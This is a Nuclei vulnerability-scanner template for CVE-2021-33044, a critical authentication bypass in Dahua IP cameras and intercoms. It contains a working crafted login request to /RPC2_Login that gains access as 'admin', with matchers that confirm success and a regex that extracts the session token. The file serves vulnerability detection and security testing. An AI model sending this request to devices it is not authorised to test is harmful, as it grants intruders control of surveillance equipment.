nuclei-templates/cves/2021/CVE-2021-33044.yaml

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id: CVE-2021-33044
info:
name: Dahua IPC/VTH/VTO devices Authentication Bypass
author: gy741
severity: critical
description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
reference:
- https://github.com/dorkerdevil/CVE-2021-33044
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- https://nvd.nist.gov/vuln/detail/CVE-2021-33044
- https://seclists.org/fulldisclosure/2021/Oct/13
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-33044
cwe-id: CWE-287
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tags: dahua,cve,cve2021,auth-bypass
requests:
- raw:
- |
POST /RPC2_Login HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Connection: close
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Origin: {{BaseURL}}
Referer: {{BaseURL}}
{"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
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- '"result":true'
- 'id'
- 'params'
- 'session'
condition: and
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extractors:
- type: regex
group: 1
part: body
regex:
- ',"result":true,"session":"([a-z]+)"\}'